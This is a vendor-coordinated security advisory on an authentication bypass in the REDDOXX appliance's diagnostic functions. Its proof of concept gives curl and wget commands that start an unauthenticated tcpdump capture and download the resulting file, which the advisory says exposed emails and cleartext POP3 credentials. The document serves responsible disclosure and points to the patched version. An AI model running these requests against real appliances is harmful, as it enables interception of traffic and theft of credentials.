REDDOXX Appliance Unauthenticated Access

`Advisory: Unauthenticated Access to Diagnostic Functions in REDDOXX Appliance  
  
RedTeam Pentesting discovered a vulnerability which allows attackers  
unauthenticated access to the diagnostic functions of the administrative  
interface of the REDDOXX appliance. The functions allow, for example, to  
capture network traffic on the appliance's interfaces.  
  
  
Details  
=======  
  
Product: REDDOXX Appliance  
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too  
Fixed Versions: Version 2032 SP2  
Vulnerability Type: Authentication Bypass  
Security Risk: high  
Vendor URL: https://www.reddoxx.com/  
Vendor Status: patch available  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-008  
Advisory Status: published  
CVE: GENERIC-MAP-NOMATCH  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
"REDDOXX is a leading supplier of solutions for e-mail archiving,  
encrypted and digitally signed e-mail traffic as well as spam  
protection. Our focus is on technological innovation: taking our cue  
from our clientsa requirements our competent and quality-conscious  
employees strive to offer you the best possible products at all times.  
Using stringent quality standards and proven processes we keep  
developing our company and products continuously, with the goal of  
continuous improvement."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
The administrative interface of the REDDOXX appliance [0] offers several  
diagnostic tools in the "Diagnostic Center". Tcpdump is one of these  
tools. This tool can be used to capture network traffic on local  
interfaces.  
  
During a penetration test, it was discovered that this function, as well  
as the other diagnostic functions, does not require authentication.  
  
  
Proof of Concept  
================  
  
The following curl command-line can be used to start the capture  
process:  
  
------------------------------------------------------------------------  
$ curl --include --silent -H 'Content-Type: application/json' \  
--data-binary '{"Name":"Tcpdump","Parameter":{"host":"","port":""}}' \  
http://www.example.com/api/v1/rws/diagnose/start  
HTTP/1.1 200 OK  
Date: Thu, 18 May 2017 14:58:22 GMT  
Server: Apache/2.4.7 (Ubuntu)  
X-Powered-By: PHP/5.5.9-1ubuntu4.14  
[...]  
Content-Length: 0  
Content-Type: application/xml  
------------------------------------------------------------------------  
  
The following curl command-line stops the capture process:  
  
------------------------------------------------------------------------  
$ curl --include --silent -H 'Content-Type: application/json' \  
--data-binary '{"Name":"Tcpdump"}' \  
http://www.example.com/api/v1/rws/diagnose/stop  
HTTP/1.1 200 OK  
Date: Thu, 18 May 2017 15:00:17 GMT  
Server: Apache/2.4.7 (Ubuntu)  
X-Powered-By: PHP/5.5.9-1ubuntu4.14  
[...]  
Content-Length: 0  
Content-Type: application/xml  
------------------------------------------------------------------------  
  
After the capture process is complete, the resulting capture file can be  
downloaded without authentication:  
  
------------------------------------------------------------------------  
$ wget http://www.example.com/rws/resources/diagnosemanager/tcpdump.cap  
[...]  
Connecting to www.example.com:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 1801530 (1.7M) [application/vnd.tcpdump.pcap]  
Saving to: atcpdump.capa  
tcpdump.cap 100%[=======================================>]  
1.72M [...]  
2017-05-18 17:01:36 (34.1 MB/s) - atcpdump.capa saved [1801530/1801530]  
------------------------------------------------------------------------  
  
None of these requests contain any credentials or cookies, which could  
provide authentication.  
  
  
Workaround  
==========  
  
None  
  
  
Fix  
===  
  
Update the appliance software to Version 2032 SP2.  
  
  
Security Risk  
=============  
  
The diagnostic functions of the REDDOXX appliance can be used without  
authentication. This allows attackers to, for example, capture network  
traffic. During a penetration test it was possible to capture multiple  
emails and also POP3 login attempts with cleartext credentials. This is  
rated as a high risk.  
  
  
Timeline  
========  
  
2017-05-17 Vulnerability identified  
2017-05-23 Customer approved disclosure of vulnerability  
2017-05-26 Customer provided details of vulnerability to vendor  
2017-07-20 Vulnerability reported as fixed by vendor  
2017-07-24 Advisory released  
  
  
References  
==========  
  
[0] https://www.reddoxx.com/en/  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting GmbH is looking for more penetration testers to join  
our team. If you are interested in working for RedTeam Pentesting in  
Aachen, please visit the respective section of our website.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`